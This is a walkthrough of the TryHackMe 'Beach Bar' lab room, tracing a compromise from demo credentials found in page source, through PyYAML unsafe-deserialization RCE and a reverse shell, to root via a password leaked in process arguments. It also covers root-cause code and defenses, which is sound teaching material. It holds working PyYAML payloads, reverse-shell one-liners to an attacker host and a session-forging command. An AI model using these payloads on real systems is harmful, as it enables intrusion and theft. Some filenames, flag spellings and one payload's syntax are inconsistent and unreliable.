

TryHackMe — Hacker Holidays: Beach Bar — Full Walkthrough & Learn Guide

Target: 10.49.128.89 — **Room:** Hacker Holidays · The Byte Lotus Hotel (Beach Bar) **Category:** Web / Boot2Root — **Difficulty:** Easy — **Points:** 60

0. Attack Chain (Executive Summary)

This room chains four sloppy security mistakes into a full root compromise:

1. HTML comment leaks demo credentials (dj / dj)	← Information disclosure
2. Playlist importer parses YAML with unsafe loader	← Unsafe deserialization
3. !!python/object/apply tag → command execution	← RCE as bartender
4. Root service leaks password in process arguments	← Secret in argv / cred reuse
5. su root with leaked password	← Root shell

Step	Skill learned
Recon	nmap service detection, reading page source
Auth	Blind/basic web login with curl + cookies
RCE	PyYAML deserialization payloads
Foot hold	Reverse shells, shell upgrades
Priv Esc	Inspecting processes (ps aux), credential reuse
Defense	Safe YAML loading, secret management

1. Reconnaissance

1.1 Verify the target is alive

```
ping -c 3 10.49.128.89

curl -s -o /dev/null -w "%{http_code}\n" http://10.49.128.89
```

Output: ping replies, HTTP 302 (redirect → we know it's a web app that redirects).

1.2 Port scan

```
nmap -sC -sV -oN nmap_scan.txt 10.49.128.89

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp    open  http      Gunicorn
| http-title: Beach Bar // Sign in
```

Reading the results (important skill): - Only **2 ports** exposed → small attack surface. SSH is usually not the way in for easy rooms; focus on the web app. - **Gunicorn** = a Python WSGI server → the app is almost certainly **Python (Flask/Django)**. - Ubuntu 24.04 (OpenSSH 9.6p1 / 3ubuntu13.18) — modern system, so don't expect ancient kernel exploits.

2. Web Enumeration — Finding the Credentials

2.1 Browse the login page

```
curl -s -L http://10.49.128.89/ | tee login_page.html
```

/ 302-redirects to /login. The page is a "DJ booth sign-in" form.

2.2 Read the page source — the fastest enumeration step

```
grep -i "comment\|staff\|password\|demo\|note" login_page.html
```

Hidden inside an HTML comment:

```
<!--  
  
    staff note: the demo DJ login is still enabled for the soft opening.  
  
    dj / dj  -- swap this before the season starts (ticket BAR-7)  
  
-->
```

Lesson: Before brute-forcing or SQL injection, **always view source / comments / JS**. The room's "a DJ who never logs out" hint points at leftover development credentials.

Credentials: `dj : dj`

3. Authentication (Manual Login with curl)

3.1 Log in and keep the session cookie

```
curl -s -c cookies.txt -X POST \  
  
    -d "username=dj&password=dj" \  
  
    http://10.49.128.89/login  
  
HTTP/1.1 302 FOUND  
  
Location: /dashboard  
  
Set-Cookie: session=eyJ1c2VyIjoiZGoifQ...; HttpOnly; Path=/
```

- `-c cookies.txt` writes the session cookie; `-b cookies.txt` re-sends it (this is how browsers behave).
- The session cookie is a **Flask session** (base64 payload `{"user": "dj"}` signed with a secret key). You can decode it:

```
echo "eyJ1c2VyIjoiZGoifQ" | base64 -d
```

3.2 Explore the authenticated app

```
curl -s -b cookies.txt http://10.49.128.89/dashboard
```

Navbar reveals three features:

Route	Purpose
/dashbo ard	Floor view
/import	Import playlist (YAML) ← interesting
/export	Export current playlist as YAML

3.3 Export the playlist to learn the data format

```
curl -s -b cookies.txt http://10.49.128.89/export
```

```
# Beach Bar jukebox playlist export
```

```
playlist:
```

```
  name: Sunset Session
```

```
  vibe: golden hour
```

```
  tracks:
```

```
    - artist: Khruangbin
```

```
      title: Maria Tambien
```

```
    - artist: Men I Trust
```

```
      title: Show Me How
```

```
    - artist: Crumb
```

The import page accepts either pasted YAML (textarea `playlist`) or a `.yaml` file upload (`playlist_file`), posted as `multipart/form-data`.

4. Exploitation — Unsafe YAML Deserialization (RCE)

4.1 Why YAML import is dangerous

Python's `yaml` module has **two families of loaders**:

- `yaml.safe_load()` / `SafeLoader` — parses only plain data types (`str`, `int`, `list`, `dict`).
- `yaml.load()` with `Loader=yaml.Loader` (**UnsafeLoader**) — can construct **arbitrary Python objects**, including running subprocesses.

YAML has Python-specific tags such as:

```
!!python/object/apply:<callable> [<args>]

!!python/object/apply:<callable> <mapping>
```

PyYAML will literally call `<callable>` with the arguments when it constructs the node. That is **remote code execution** if the YAML comes from an untrusted user.

4.2 Proof of concept — run id

Write a malicious playlist and submit it to `/import`:

```
cat > test_rce.yaml << 'EOF'

playlist:

  name: !!python/object/apply:subprocess.check_output [["id"]]

  tracks:

    - artist: x

      title: x

EOF
```

```
curl -s -b cookies.txt -F "playlist=< test_rce.yml" http://10.49.128.89/import
```

The server renders the parsed playlist back to us — and `name` contains the output of `id`:

```
uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)
```

RCE confirmed as user `bartender` (uid 1001).

Other one-liner payloads you can try:

```
playlist:

  name: !!python/object/apply:os.system ["id > /tmp/pwned"]

  tracks: []
```

4.3 Get a reverse shell

Step 1 — listener on your attack box (VPN IP, e.g. 192.168.155.203):

```
nc -lnvp 4444
```

Step 2 — malicious playlist with a Bash reverse shell:

```
cat > revshell.yml << 'EOF'

playlist:

  name: !!python/object/apply:subprocess.check_output

    ["/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.155.203/4444 0>&1 &"]

  tracks: []

EOF

curl -s -b cookies.txt -F "playlist=< revshell.yml" http://10.49.128.89/import
```

- `bash -i` = interactive shell; `>&` redirects stdout+stderr into the TCP socket.
- The trailing `&` backgrounds the shell so the HTTP request returns (otherwise it hangs).

Step 3 — shell received:

```
Listening on 0.0.0.0 4444

Connection received on 10.49.128.89 45294

bash: cannot set terminal process group: Inappropriate ioctl for device

bash: no job control in this shell

bartender@tryhackme-2404:/opt/beach-bar/webapp$
```

4.4 Upgrade the shell (best practice)

A plain `bash -i` over netcat has no job control and no line editing. Upgrade to a pseudo-terminal:

```
python3 -c "import pty; pty.spawn('/bin/bash')"

# then background with Ctrl+Z, and run on your machine:

stty raw -echo; fg
```

5. User Flag

```
id

whoami

ls -la /home

cat /home/bartender/user.txt

uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)

THM{y4m_lpl4yl1st_pwns_th3_b34ch}
```

USER FLAG: THM{y4ml_pl4yl1st_pwns_th3_b34ch} ("yaml playlist pwns the beach" — the flag literally tells you the attack.)

6. Privilege Escalation — Password Leaked in Process Arguments

6.1 The hint

"a service down the boardwalk quietly announcing 'something'"

That hints at a **process announcing something** — check what is running as root.

6.2 Inspect processes

```
ps auxww
```

Among the output, look for non-standard / interesting processes:

```
root    611    0.0   0.2 20176 11752 ?    Ss  06:59   0:00 /opt/beach-bar/venv/bin/python \
        /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate
320k
```

There it is — a **root-owned** service `jukeboxd.py` whose command line contains:

```
--stream-pass SunsetSpritz2024!
```

6.3 Why this happens

On Linux, **process command-line arguments are world-readable** via:

```
ps aux          # or

cat /proc/611/cmdline | tr '\0' ' '
```

Anyone who can list processes (any local user) can read them. The developer passed the root password as an argument instead of using an env var or config file — and worse, that same password is the **root account's password** (credential reuse).

6.4 Switch to root with the leaked password

```
su root

Password: SunsetSpritz2024!

whoami

cat /root/root.txt

uid=0(root) gid=0(root) groups=0(root)

THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
```

ROOT FLAG: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r} ("credential reuse at the beach bar" — the flag literally tells you the priv-esc.)

The user is root, the beach is yours.

7. The Vulnerable Code (root-cause analysis)

7.1 Webapp — /opt/beach-bar/webapp/app.py

```
@app.route("/import", methods=["GET", "POST"])

@login_required

def import_playlist():

    ...

    try:

        parsed = yaml.load(content, Loader=yaml.Loader)    # ← DANGEROUS

        result = parsed

    except Exception as e:

        error = f"Could not load playlist: {e}"

    return render_template("import.html", result=result, error=error)
```

`Loader=yaml.Loader` is the **UnsafeLoader**. Any user-supplied YAML can instantiate Python classes / call functions. The fix is one word:

```
parsed = yaml.safe_load(content)    # ✅ only plain data types
```

7.2 The login source leak

```
USERS = {  
  
    "dj": "dj",  
  
}  
  
app.secret_key = "beach-bar-jukebox-fixed-session-key"
```

Demo credentials left in production (also visible in the HTML comment), and a hard-coded Flask secret key (if known, an attacker can forge session cookies for any user).

7.3 The streaming service — `/opt/beach-bar/jukeboxd/jukeboxd.py`

```
parser.add_argument("--stream-pass", required=True, help="stream backend password")  
  
...  
  
# launched as root by systemd:  
  
# /opt/beach-bar/venv/bin/python ../jukeboxd.py --stream-pass SunsetSpritz2024! --  
bitrate 320k
```

And the systemd unit `/etc/systemd/system/jukeboxd.service` (mode `640 root:root`, so not even readable by bartender) still doesn't protect the secret — **the running process itself leaks it via `/proc/PID/cmdline`**, which is readable by every local user.

8. How to Prevent These Attacks (Defense)

8.1 Unsafe YAML deserialization

- **Never use `yaml.load()` with untrusted input.** Use `yaml.safe_load()` (or `SafeLoader`).
- If you must accept structured playlists, **validate against an allow-listed schema** (e.g. `Pydantic`/`Cerberus`/`JSON Schema`) before parsing.

- Same rule applies to `pickle`, `eval()`, `os.system()` on user input, and old Java serialization / PHP `unserialize()` — deserializing untrusted data is a top-10 class of bugs (OWASP A08:2021 Software & Data Integrity Failures).
- Add a WAF rule / input filter to reject YAML tags starting with `!!`.

8.2 Credentials in source/comments

- Remove demo/dev credentials before release (track it — the comment even mentioned ticket BAR-7; the fix never shipped).
- Scan the codebase in CI for secrets and comments with credentials: `gitleaks`, `trufflehog`, `git-secrets`.
- Use a secrets manager (Vault, AWS Secrets Manager, env files with `0600` perms).

8.3 Secrets in process arguments

- **Never pass passwords/api-keys as CLI arguments** — they are visible to all local users via `ps / /proc/<pid>/cmdline`.
- Pass secrets via **environment variables**, config files with restrictive permissions, or a secret-manager agent.
- Mount `/proc` with `hidepid=2` if the threat model calls for it.

8.4 Credential reuse

- The root password was reused for the service — one leak, total compromise.
- Use **unique, strong passwords** per account/service and a password manager; rotate credentials that may have been exposed.
- Never run services as root when a dedicated low-privilege user suffices (the webapp already runs as `bartender` — the streamer should too).

8.5 General webapp hardening

- Disable demo accounts; enforce real auth (MFA where possible).
- Run with least privilege (`gunicorn --user bartender` is correct — keep that pattern).
- Monitor with log analysis / EDR; look for `!!python/object/apply` in requests.
- Keep secrets out of HTML/JS entirely — page-source disclosure is free recon for attackers.

9. Cheat-Sheet: Commands You Need to Remember

PyYAML RCE payloads

```
!!python/object/apply:subprocess.check_output [{"id"}]
```

```
!!python/object/apply:os.system ["touch /tmp/pwned"]
```

```
!!python/object/apply:subprocess.check_output ["/bin/bash","-c","bash -i >& /dev/tcp/IP/PORT 0>&1 &"]]
```

Reverse shell one-liners

```
bash -i >& /dev/tcp/IP/PORT 0>&1
```

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc IP PORT > /tmp/f
```

```
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call("/bin/bash -i",shell=True)'
```

Shell upgrade

```
python3 -c "import pty; pty.spawn('/bin/bash')"
```

```
stty raw -echo; fg      # after Ctrl+Z
```

Priv-esc quick checklist

```
id; sudo -l      # privileges
```

```
ps auxww        # processes (leaked secrets!)
```

```
cat /proc/*/cmdline 2>/dev/null
```

```
ls -la /home/* /tmp /opt
```

```
find / -perm -4000 -type f 2>/dev/null  # SUID
```

```
crontab -l; ls /etc/cron*
```

```
uname -a        # kernel
```

```
ss -tlnp        # listening services
```

```
# decode Flask session cookie

echo "PAYLOAD" | base64 -d

# try forging if secret is known

pip install flask-unsign

flask-unsign --sign --cookie '{"user":"admin"}' --secret 'known-secret'
```

10. What This Room Taught You (Key Takeaways)

1. **Enumeration beats brute force.** The creds were in the page source; the root password was in `ps aux`. Look before you attack.
2. **Deserialization of untrusted data is code execution.** The "song queue that accepts a little more than song titles" is a perfect description of a YAML/pickle bug.
3. **Secrets on the command line are public.** `--stream-pass SunsetSpritz2024!` is a plaintext leak by design.
4. **Credential reuse turns a service secret into root.** One leaked password, reused, ends the engagement.
5. **Easy rooms teach the exact same skills as real-world breaches** — information disclosure → deserialization RCE → lateral/vertical movement via leaked credentials.

Writeup generated during a live attack on the room machine at 10.49.128.89 (with the owner's permission, in the TryHackMe lab environment). All commands shown were executed against the live target and produced the outputs displayed.